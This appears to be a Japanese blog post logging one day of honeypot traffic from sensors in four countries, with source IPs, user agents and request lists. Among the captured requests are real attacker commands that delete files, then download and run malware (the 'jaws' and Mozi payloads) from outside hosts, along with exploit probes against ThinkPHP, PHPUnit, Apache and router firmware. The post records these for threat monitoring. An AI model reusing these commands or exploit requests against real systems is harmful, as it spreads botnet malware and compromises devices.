2023/06/29 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/06/29分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.envへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
IDBTE4M CODE87によるスキャン行為
/.gitへのスキャン行為
45.89.127.18に関する不正通信
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 103.16.161.29/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 159.223.237.29/jaws;
sh /tmp/jaws

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.awsへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  100.43.163.61/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

Location:UK

Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
aiohttpによるスキャン行為
l9scanによるスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
5.188.210.227に関する不正通信

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 103.16.161.29/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：105 (前日比：29)
US：総アクセス数：109 (前日比：-7)
UK：総アクセス数：133 (前日比：28)
SG：総アクセス数：93 (前日比：-62)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
1	20.63.74.160	United States
1	34.83.196.8	United States
2	35.86.188.56	United States
18	43.154.141.71	Singapore
1	45.56.108.128	United States
2	45.77.14.156	United States
1	45.92.229.21	Netherlands
1	45.95.169.113	Croatia
1	45.128.232.62	Bulgaria
1	52.234.135.95	United States
2	82.165.34.147	Germany
2	90.151.171.106	Russia
1	103.178.228.45	Vietnam
1	104.192.0.50	United States
1	107.170.234.16	United States
2	109.237.98.226	Russia
1	115.159.71.193	China
7	135.125.217.54	France
7	135.125.246.110	France
1	135.181.176.114	Germany
1	138.68.175.2	United States
4	138.91.138.17	United States
1	152.32.149.235	Hong Kong
6	152.32.187.174	Hong Kong
1	159.203.113.255	United States
10	161.35.161.173	United States
1	162.142.125.226	United States
1	162.240.105.70	United States
1	162.243.136.16	United States
1	167.94.145.59	United States
1	170.64.153.79	United States
1	172.104.11.34	United States
1	172.105.128.11	United States
1	178.159.5.52	United Kingdom
2	184.105.247.195	United States
1	185.180.140.5	Portugal
1	185.180.143.80	Portugal
5	185.254.196.173	Ukraine
2	185.254.196.186	Ukraine
1	192.42.116.220	Netherlands
1	192.155.90.118	United States
1	194.87.216.42	Czechia
1	198.211.115.238	United States
1	198.235.24.68	United States
1	198.235.24.142	United States
1	205.210.31.26	United States
1	212.224.107.53	Germany

UserAgent一覧

件数	UserAgent
16	`-`
2	`Go-http-client/1.1`
2	`Hello, world`
1	`IDBTE4M CODE87`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
18	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0`
1	`Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
1	`Mozilla/5.0 (Windows NT 8_2_2; Win64; x64) AppleWebKit/534.37 (KHTML, like Gecko) Chrome/106.0.2808 Safari/537.36`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/543.36 (KHTML, like Gecko) Chrome/82.0.326 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/565.45 (KHTML, like Gecko) Chrome/62.0.2156 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;`
1	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
2	`Python-urllib/3.6`
1	`python-requests/2.31.0`
1	`xxx`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfa\x01`
11		`\x16\x03\x01`
2	CONNECT	`45[.]89[.]127[.]18:4444`	HTTP/1.1
1	CONNECT	`checkip[.]amazonaws[.]com:443`	HTTP/1.1
29	GET	`/.env`	HTTP/1.1
2	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/.git/`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/1.php`	HTTP/1.1
1	GET	`/HNAP1/`	HTTP/1.1
1	GET	`/_profiler/empty/search/results`	HTTP/1.1
1	GET	`/axis2-admin/`	HTTP/1.1
1	GET	`/axis2/`	HTTP/1.1
1	GET	`/axis2/axis2-admin/`	HTTP/1.1
1	GET	`/bundle.js`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
8	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/files/`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/order/detail.php?o=1111`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+103[.]16[.]161[.]29/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+159[.]223[.]237[.]29/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/v3/time`	HTTP/1.1
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
1	GET	`http[:]//checkip[.]amazonaws[.]com?Z77595273130Q1`	HTTP/1.1
18	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	POST	`/api/v0/id`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	POST	`/mgmt/tm/util/bash`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	39.104.27.100	China
1	45.79.181.104	United States
1	45.79.181.223	United States
1	45.79.181.251	United States
1	45.95.169.113	Croatia
1	45.128.232.62	Bulgaria
1	51.79.29.48	Canada
1	51.159.164.227	France
24	54.37.79.75	France
1	64.62.197.167	United States
6	64.227.190.91	United States
12	83.97.73.89	Germany
1	85.239.33.6	Russia
2	107.6.112.252	United States
1	107.170.234.11	United States
1	107.170.240.15	United States
2	109.237.98.226	Russia
2	109.237.98.235	Russia
1	117.216.31.228	India
5	129.114.108.101	United States
9	134.209.144.98	United States
1	146.70.214.24	Romania
2	162.142.125.215	United States
1	162.243.130.8	United States
1	165.22.40.180	United States
1	165.227.234.180	United States
2	167.94.138.35	United States
1	168.205.38.39	Brazil
1	172.104.11.46	United States
1	172.104.11.51	United States
1	172.105.128.11	United States
2	172.105.128.13	United States
3	179.43.154.248	Panama
1	179.43.177.244	Panama
2	184.105.247.196	United States
1	185.170.144.3	Estonia
1	185.180.140.4	Portugal
1	185.180.143.81	Portugal
1	192.155.90.118	United States
3	192.155.90.220	United States
4	193.35.18.177	Bulgaria
1	205.210.31.15	United States
1	205.210.31.49	United States
1	205.210.31.94	United States

UserAgent一覧

件数	UserAgent
28	`-`
1	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
1	`Links (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84)`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
12	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/51.0.2704.79 Chrome/51.0.2704.79 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
5	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_34.68.118.83_80\n`
1		`\x03`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfb\x01`
21		`\x16\x03\x01`
1	GET	`/.aws/credentials`	HTTP/1.1
30	GET	`/.env`	HTTP/1.1
2	GET	`/1.php`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
2	GET	`/bundle.js`	HTTP/1.1
5	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
10	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/files/`	HTTP/1.1
2	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/s3cmd.ini`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 100.43.163.61/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	HEAD	`/.env`	HTTP/1.1
2	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.144.184.121	United States
1	5.188.210.227	Russia
1	45.79.128.205	United States
2	45.79.172.21	United States
1	45.79.181.223	United States
1	45.79.181.251	United States
1	45.128.232.62	Bulgaria
6	51.79.29.48	Canada
5	54.36.115.221	France
11	54.37.79.75	France
1	58.186.28.205	Vietnam
1	64.62.197.70	United States
1	64.62.197.75	United States
1	66.240.192.82	United States
7	83.97.73.89	Germany
4	90.151.171.106	Russia
2	90.151.171.108	Russia
1	103.12.135.123	India
1	107.170.227.16	United States
1	114.67.217.170	China
1	117.210.183.199	India
1	118.126.124.10	China
1	138.124.183.10	Russia
1	138.197.110.105	United States
10	143.110.178.218	United States
2	157.230.99.127	United States
1	157.230.99.133	United States
16	159.223.102.13	United States
2	167.248.133.127	United States
1	172.104.11.34	United States
3	172.104.11.51	United States
2	172.105.128.13	United States
1	178.62.15.181	United States
1	179.43.177.244	Panama
2	183.136.225.32	China
1	185.180.140.6	Portugal
2	185.180.143.11	Portugal
1	192.155.90.118	United States
1	192.241.224.9	United States
1	192.241.232.9	United States
1	198.199.118.8	United States
1	198.235.24.17	United States
1	198.235.24.193	United States
1	210.89.62.226	India
28	220.94.228.163	South Korea

UserAgent一覧

件数	UserAgent
51	`-`
3	`FooBarTest`
14	`Go-http-client/1.1`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
6	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
24	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (l9scan/2.0.4333e26363e2534313e2233313; +https[:]//leakix[.]net)`
3	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`Python/3.6 aiohttp/3.8.3`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`*1`
2		`-`
1		`MGLNDD_132.145.66.34_80\n`
1		`SSH-2.0-Go`
1		`\n`
2		`\x03`
1		`\x05d\x05\xc9`
1		`\x16\x03\x01\x01\x9e\x01`
2		`\x16\x03\x01\x01\xa8\x01`
1		`\x16\x03\x01\x01\xb5\x01`
1		`\x16\x03\x01\x01\xfc\x01`
26		`\x16\x03\x01`
1		`\x16\x03\x02\x01\x9b\x01`
1		`\x16\x03\x03\x01I\x01`
1		`\x16\x03\x03\x01W\x01`
1		`\x16\x03\x03\x01\x9a\x01`
2		`\x16\x03\x03\x01\xa6\x01`
1		``
1	CONNECT	`check.best-proxies[.]ru:443`	HTTP/1.1
1	CONNECT	`fingerprints[.]bablosoft[.]com:443`	HTTP/1.1
1	CONNECT	`ip[.]bablosoft[.]com:443`	HTTP/1.1
1	GET	`/.DS_Store`	HTTP/1.1
25	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.vscode/sftp.json`	HTTP/1.1
1	GET	`/1.php`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/?rest_route=/wp/v2/users/`	HTTP/1.1
1	GET	`/_all_dbs`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/about`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/bundle.js`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
1	GET	`/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application`	HTTP/1.1
8	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/files/`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/login.action`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/s/4333e26363e2534313e2233313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]223[.]191[.]10:41197/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/telescope/requests`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/v2/_catalog`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
1	GET	`http[:]//check[.]best-proxies.ru/ip.php?Z72612114222Q1`	HTTP/1.1
1	GET	`http[:]//fingerprints[.]bablosoft[.]com/ip?Z72612114222Q1`	HTTP/1.1
1	GET	`http[:]//ip[.]bablosoft[.]com/?Z72612114222Q1`	HTTP/1.1
3	GET	`http[:]//test[.]getproxylist[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]google[.]com/`	HTTP/1.0
1	HEAD	`/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/ipp`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
1	PRI	`*`	HTTP/2.0
1	fox	`a 1 -1 fox hello\n`

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	27.121.83.221	Indonesia
1	45.56.108.128	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
2	45.79.181.223	United States
1	45.88.90.115	Bulgaria
1	45.128.232.62	Bulgaria
14	51.79.29.48	Canada
12	54.37.79.75	France
1	64.62.197.17	United States
1	64.62.197.30	United States
10	83.97.73.89	Germany
1	87.251.64.11	Russia
1	95.214.27.80	Bulgaria
1	103.37.61.28	private ip address
1	120.237.206.76	China
9	143.110.178.218	United States
7	157.245.141.192	United States
2	162.142.125.13	United States
1	162.240.105.70	United States
1	163.123.142.76	United States
2	167.94.138.33	United States
2	167.248.133.35	United States
1	172.104.11.51	United States
2	172.105.128.11	United States
1	172.105.128.13	United States
1	174.138.88.160	United States
1	178.62.79.165	United States
1	183.136.225.32	China
1	185.180.140.4	Portugal
1	185.180.143.141	Portugal
3	192.155.90.118	United States
1	192.155.90.220	United States
1	192.241.196.56	United States
1	192.241.222.24	United States
1	194.87.216.69	Czechia
1	198.199.94.6	United States
1	198.235.24.6	United States
1	205.210.31.81	United States

UserAgent一覧

件数	UserAgent
23	`-`
1	`Go-http-client/1.1`
1	`Hello, World`
2	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
3	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
1	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`\x16\x03\x01\x01\xfb\x01`
18		`\x16\x03\x01`
27	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
2	GET	`/1.php`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/HNAP1/`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
2	GET	`/bundle.js`	HTTP/1.1
2	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
9	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/files/`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+103[.]16[.]161[.]29/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
2	GET	`/upl.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//ip-api.com/json/13.67.44.234`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0